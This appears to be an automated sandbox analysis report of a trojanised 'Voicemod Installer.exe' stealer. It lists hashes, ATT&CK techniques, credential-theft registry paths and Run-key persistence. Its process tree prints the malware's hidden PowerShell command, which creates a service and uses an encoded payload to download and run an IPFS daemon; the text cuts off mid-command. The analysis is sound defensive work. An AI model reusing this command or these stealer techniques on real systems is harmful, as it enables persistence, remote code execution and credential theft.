df2ec4fc0a82e5dc84518bd0f07ab342281ec5362445a587e10ebdbd41478379

Analysis

user interaction
yes
max time kernel
388s
max time network
383s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Voicemod Installer.exe
Size 6.1MB
Sample260809-xdmq4sbr81
SHA256 df2ec4fc0a82e5dc84518bd0f07ab342281ec5362445a587e10ebdbd41478379
MD5 448f949b2dd050551a630004dc72adc9
SHA1 192286655f8649347c6fb626eebfc2850491ae59
SHA512 959c5c164a770997d237c342491bf4559b40cd021351c06061b895cbdf5a5b1a3deb0bffc5aa5c9fe8ad902c38d68ee6b959e9c4cdd75eb0a1b55f7a62b254e6
SSDEEP 196608:4RzC/IanOVjKIDReA5rA9aG+DzfE67Wu8:UzCwanOkIDUA5rDzLT8
TLSH
T1ED56330CD28448BED46E553E199025A7E987EA4FCD52FF0D84E1A1237E2C6CCCAD64DB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	vmhe8d078.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	vmhe8d078.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	vmhe8d078.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	WindowsAssistant.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	WindowsAssistant.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	WindowsAssistant.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4668	powershell.exe
4668	powershell.exe
2984	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	5192	Voicemod Installer.exe
11	5192	Voicemod Installer.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
4944	vmcdbb01f.exe
5020	vmhe8d078.exe
1832	WindowsAssistant.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	vmhe8d078.exe
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	vmhe8d078.exe
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	vmhe8d078.exe
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsAssistant.exe
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsAssistant.exe
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsAssistant.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateAssistant = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsAssistant\\WindowsAssistant.exe\""	vmhe8d078.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateAssistant = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsAssistant\\WindowsAssistant.exe\""	WindowsAssistant.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	icanhazip.com
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4308	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3868	cmd.exe
2700	cmd.exe
4496	cmd.exe
1640	cmd.exe
5248	cmd.exe
3720	cmd.exe
1236	cmd.exe
4892	cmd.exe
2392	cmd.exe
5704	cmd.exe
4208	cmd.exe
940	cmd.exe
3272	cmd.exe
5296	cmd.exe
708	cmd.exe
1932	cmd.exe
1548	cmd.exe
2088	cmd.exe
5072	cmd.exe
5532	cmd.exe
1172	cmd.exe
5584	cmd.exe
1500	cmd.exe
624	cmd.exe
3108	cmd.exe
4224	cmd.exe
3500	cmd.exe
5676	cmd.exe
3096	cmd.exe
2884	cmd.exe
2708	cmd.exe
6100	cmd.exe
3428	cmd.exe
5164	cmd.exe
604	cmd.exe
1052	cmd.exe
4220	cmd.exe
4568	cmd.exe
2668	cmd.exe
4560	cmd.exe
5568	cmd.exe
4088	cmd.exe
692	cmd.exe
1908	cmd.exe
2504	cmd.exe
360	cmd.exe
4668	cmd.exe
4256	cmd.exe
5076	cmd.exe
4812	cmd.exe
5928	cmd.exe
4864	cmd.exe
4392	cmd.exe
2896	cmd.exe
4460	cmd.exe
5012	cmd.exe
4184	cmd.exe
4340	cmd.exe
5068	cmd.exe
3536	cmd.exe
4452	cmd.exe
1872	cmd.exe
5104	cmd.exe
5208	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 64 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4144	cmd.exe
1488	netsh.exe
4220	cmd.exe
4572	netsh.exe
2764	netsh.exe
4256	cmd.exe
4108	netsh.exe
6076	cmd.exe
200	cmd.exe
4912	netsh.exe
5012	cmd.exe
4856	netsh.exe
1712	cmd.exe
4072	cmd.exe
5164	cmd.exe
468	cmd.exe
5728	cmd.exe
5200	netsh.exe
3032	cmd.exe
5384	netsh.exe
1568	netsh.exe
440	cmd.exe
4276	cmd.exe
1872	cmd.exe
4568	cmd.exe
5920	netsh.exe
1548	cmd.exe
4516	netsh.exe
3836	netsh.exe
6128	netsh.exe
2008	netsh.exe
3096	cmd.exe
360	cmd.exe
2088	cmd.exe
3192	cmd.exe
6132	cmd.exe
5596	netsh.exe
3560	cmd.exe
1724	netsh.exe
2520	netsh.exe
5676	cmd.exe
1908	cmd.exe
5940	cmd.exe
4572	cmd.exe
3596	cmd.exe
5780	netsh.exe
4224	cmd.exe
3500	cmd.exe
2168	netsh.exe
1600	cmd.exe
3668	netsh.exe
1400	netsh.exe
1172	cmd.exe
3880	netsh.exe
2376	netsh.exe
4416	cmd.exe
2556	cmd.exe
2632	netsh.exe
5480	cmd.exe
6032	netsh.exe
4864	cmd.exe
2880	netsh.exe
4368	cmd.exe
3428	cmd.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vmhe8d078.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vmhe8d078.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WindowsAssistant.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WindowsAssistant.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2984	powershell.exe
2984	powershell.exe
4668	powershell.exe
4668	powershell.exe
2984	powershell.exe
4668	powershell.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
5020	vmhe8d078.exe
1832	WindowsAssistant.exe
1832	WindowsAssistant.exe
1832	WindowsAssistant.exe
1832	WindowsAssistant.exe
1832	WindowsAssistant.exe
1832	WindowsAssistant.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5192	Voicemod Installer.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	5020	vmhe8d078.exe
Token: SeDebugPrivilege	5020	vmhe8d078.exe
Token: SeDebugPrivilege	5020	vmhe8d078.exe
Token: SeDebugPrivilege	1832	WindowsAssistant.exe
Token: SeDebugPrivilege	1832	WindowsAssistant.exe
Token: SeDebugPrivilege	1832	WindowsAssistant.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5192 wrote to memory of 4944	5192	Voicemod Installer.exe	90
PID 5192 wrote to memory of 5020	5192	Voicemod Installer.exe	91
PID 4944 wrote to memory of 2984	4944	vmcdbb01f.exe	92
PID 4944 wrote to memory of 4668	4944	vmcdbb01f.exe	93
PID 2984 wrote to memory of 4308	2984	powershell.exe	97
PID 5020 wrote to memory of 5372	5020	vmhe8d078.exe	98
PID 5020 wrote to memory of 1488	5020	vmhe8d078.exe	100
PID 5020 wrote to memory of 2896	5020	vmhe8d078.exe	102
PID 2896 wrote to memory of 1312	2896	cmd.exe	104
PID 5020 wrote to memory of 5208	5020	vmhe8d078.exe	105
PID 5208 wrote to memory of 6072	5208	cmd.exe	107
PID 5020 wrote to memory of 4416	5020	vmhe8d078.exe	108
PID 4416 wrote to memory of 4676	4416	cmd.exe	110
PID 5020 wrote to memory of 4812	5020	vmhe8d078.exe	111
PID 4812 wrote to memory of 3080	4812	cmd.exe	113
PID 5020 wrote to memory of 4460	5020	vmhe8d078.exe	114
PID 4460 wrote to memory of 4040	4460	cmd.exe	116
PID 5020 wrote to memory of 1052	5020	vmhe8d078.exe	117
PID 1052 wrote to memory of 3856	1052	cmd.exe	119
PID 5020 wrote to memory of 4088	5020	vmhe8d078.exe	120
PID 4088 wrote to memory of 5596	4088	cmd.exe	122
PID 5020 wrote to memory of 2116	5020	vmhe8d078.exe	123
PID 2116 wrote to memory of 1348	2116	cmd.exe	125
PID 5020 wrote to memory of 3032	5020	vmhe8d078.exe	126
PID 3032 wrote to memory of 5156	3032	cmd.exe	128
PID 5020 wrote to memory of 4220	5020	vmhe8d078.exe	129
PID 4220 wrote to memory of 5384	4220	cmd.exe	131
PID 5020 wrote to memory of 200	5020	vmhe8d078.exe	132
PID 200 wrote to memory of 4192	200	cmd.exe	134
PID 5020 wrote to memory of 4368	5020	vmhe8d078.exe	135
PID 4368 wrote to memory of 2520	4368	cmd.exe	137
PID 5020 wrote to memory of 2060	5020	vmhe8d078.exe	138
PID 2060 wrote to memory of 6032	2060	cmd.exe	140
PID 5020 wrote to memory of 1640	5020	vmhe8d078.exe	141
PID 1640 wrote to memory of 5968	1640	cmd.exe	143
PID 5020 wrote to memory of 1932	5020	vmhe8d078.exe	144
PID 1932 wrote to memory of 4572	1932	cmd.exe	146
PID 5020 wrote to memory of 6100	5020	vmhe8d078.exe	147
PID 6100 wrote to memory of 5620	6100	cmd.exe	149
PID 5020 wrote to memory of 1500	5020	vmhe8d078.exe	150
PID 1500 wrote to memory of 5376	1500	cmd.exe	152
PID 5020 wrote to memory of 1548	5020	vmhe8d078.exe	153
PID 1548 wrote to memory of 4340	1548	cmd.exe	155
PID 5020 wrote to memory of 1120	5020	vmhe8d078.exe	156
PID 1120 wrote to memory of 1568	1120	cmd.exe	158
PID 5020 wrote to memory of 5248	5020	vmhe8d078.exe	159
PID 5248 wrote to memory of 3540	5248	cmd.exe	161
PID 5020 wrote to memory of 5068	5020	vmhe8d078.exe	162
PID 5068 wrote to memory of 1152	5068	cmd.exe	164
PID 5020 wrote to memory of 3428	5020	vmhe8d078.exe	165
PID 3428 wrote to memory of 5624	3428	cmd.exe	167
PID 5020 wrote to memory of 4668	5020	vmhe8d078.exe	168
PID 4668 wrote to memory of 4912	4668	cmd.exe	170
PID 5020 wrote to memory of 1612	5020	vmhe8d078.exe	171
PID 1612 wrote to memory of 5552	1612	cmd.exe	173
PID 5020 wrote to memory of 3024	5020	vmhe8d078.exe	174
PID 3024 wrote to memory of 4960	3024	cmd.exe	176
PID 5020 wrote to memory of 4224	5020	vmhe8d078.exe	177
PID 4224 wrote to memory of 2764	4224	cmd.exe	179
PID 5020 wrote to memory of 5928	5020	vmhe8d078.exe	180
PID 5928 wrote to memory of 3836	5928	cmd.exe	182
PID 5020 wrote to memory of 5012	5020	vmhe8d078.exe	183
PID 5012 wrote to memory of 2108	5012	cmd.exe	185
PID 5020 wrote to memory of 1284	5020	vmhe8d078.exe	186

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsAssistant.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WindowsAssistant.exe

C:\Users\Admin\AppData\Local\Temp\Voicemod Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Voicemod Installer.exe"
1⤵
- Downloads MZ/PE file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5192
- C:\Users\Admin\AppData\Local\Temp\vmcdbb01f.exe
  "C:\Users\Admin\AppData\Local\Temp\vmcdbb01f.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "sc.exe create 'Windows Phone' binPath= 'cmd /c start C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABiAGEAcwBlAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABrAHUAYgBvAC0AcwB5AHMAdABlAG0AJwA7ACQAcgBlAHAAbwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABiAGEAcwBlACAAJwByAGUAcABvACcAOwAkAHcAbwByAGsAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAYgBhAHMAZQAgACcAdwBvAHIAawAnADsATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAYgBhAHMAZQAsACQAcgBlAHAAbwAsACQAdwBvAHIAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAJABlAG4AdgA6AEkAUABGAFMAXwBQAEEAVABIAD0AJAByAGUAcABvADsAJAB1AHIAbAAxAD0AJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAcABmAHMALwBrAHUAYgBvAC8AcgBlAGwAZQBhAHMAZQBzAC8AZABvAHcAbgBsAG8AYQBkAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHUAcgBsADIAPQAnAGgAdAB0AHAAcwA6AC8ALwBkAGkAcwB0AC4AaQBwAGYAcwAuAHQAZQBjAGgALwBrAHUAYgBvAC8AdgAwAC4ANAAxAC4AMAAvAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAHoAaQBwAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwB2ADAALgA0ADEALgAwAF8AdwBpAG4AZABvAHcAcwAtAGEAbQBkADYANAAuAHoAaQBwACcAOwAkAGQAaQByAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHcAbwByAGsAIAAnAGsAdQBiAG8AXwBlAHgAdAByAGEAYwB0ACcAOwAkAGUAeABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGIAYQBzAGUAIAAnAGkAcABmAHMALgBlAHgAZQAnADsAJABzAHQAYQB0AGkAYwA9ACcAawA1ADEAcQB6AGkANQB1AHEAdQA1AGQAZwB4AHQAOQBzAGQAdwBtAHcAZQBsAGEANABrAGkAdABmAGkAaQAyAGwAbQBuAGEAdQBsAG4AYwA3AGIAeABtAGQAMwB3AHoAZwBnAG4AYQByADMAZwAxAG4AegBzAGoAbQB3ACcAOwAkAHIAdQBuAG4AaQBuAGcAPQAkAGYAYQBsAHMAZQA7ACQAaQBkAEMAbQBkAD0AJwBzAGUAdAAgACIASQBQAEYAUwBfAFAAQQBUAEgAPQAnACsAJAByAGUAcABvACsAJwAiACAAJgAmACAAIgAnACsAJABlAHgAZQArACcAIgAgAC0ALQBhAHAAaQAgAC8AaQBwADQALwAxADIANwAuADAALgAwAC4AMQAvAHQAYwBwAC8ANQAwADAAMQAgAGkAZAAnADsAJABjAG0AZABtAGQAPQAnAC8AYwAgAHMAZQB0ACAAIgBJAFAARgBTAF8AUABBAFQASAA9AEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAHIAZQBwAG8AIgAgACYAJgAgAGMAZAAgAC8AZAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAawB1AGIAbwAtAHMAeQBzAHQAZQBtACIAIAAmACYAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGsAdQBiAG8ALQBzAHkAcwB0AGUAbQBcAGkAcABmAHMALgBlAHgAZQAiACAAZABhAGUAbQBvAG4AIAAtAC0AcgBvAHUAdABpAG4AZwA9AGEAdQB0AG8AJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHgAZQApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAYwBtAGQAbQBkACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAJABiAGEAcwBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAHQAcgB5ACAAewAgAGkAdwByACAALQBVAHIAaQAgACQAdQByAGwAMQAgAC0ATwB1AHQARgBpAGwAZQAgACQAegBpAHAAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBlAGEAIABTAHQAbwBwADsAfQAgAGMAYQB0AGMAaAAgAHsAIABpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsADIAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHoAaQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AZQBhACAAUwB0AG8AcAA7AH0AOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGQAaQByACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAHoAaQBwACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAZABpAHIAIAAtAEYAbwByAGMAZQA7AEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZABpAHIAIAAnAGsAdQBiAG8AXABpAHAAZgBzAC4AZQB4AGUAJwApACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAGUAeABlACAALQBGAG8AcgBjAGUAOwBpAGYAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgBlAHAAbwAgACcAYwBvAG4AZgBpAGcAJwApACkAKQAgAHsAIAAmACAAJABlAHgAZQAgAGkAbgBpAHQAIAAyAD4AJABuAHUAbABsADsAfQA7AGMAbQBkAC4AZQB4AGUAIAAvAGMAIAAkAGkAZABDAG0AZAAgADEAPgAkAG4AdQBsAGwAIAAyAD4AJABuAHUAbABsADsAaQBmACgAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0AZQBxACAAMAApACAAewAgACQAcgB1AG4AbgBpAG4AZwA9ACQAdAByAHUAZQA7AH0AOwB9ADsAaQBmACgALQBuAG8AdAAgACQAcgB1AG4AbgBpAG4AZwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1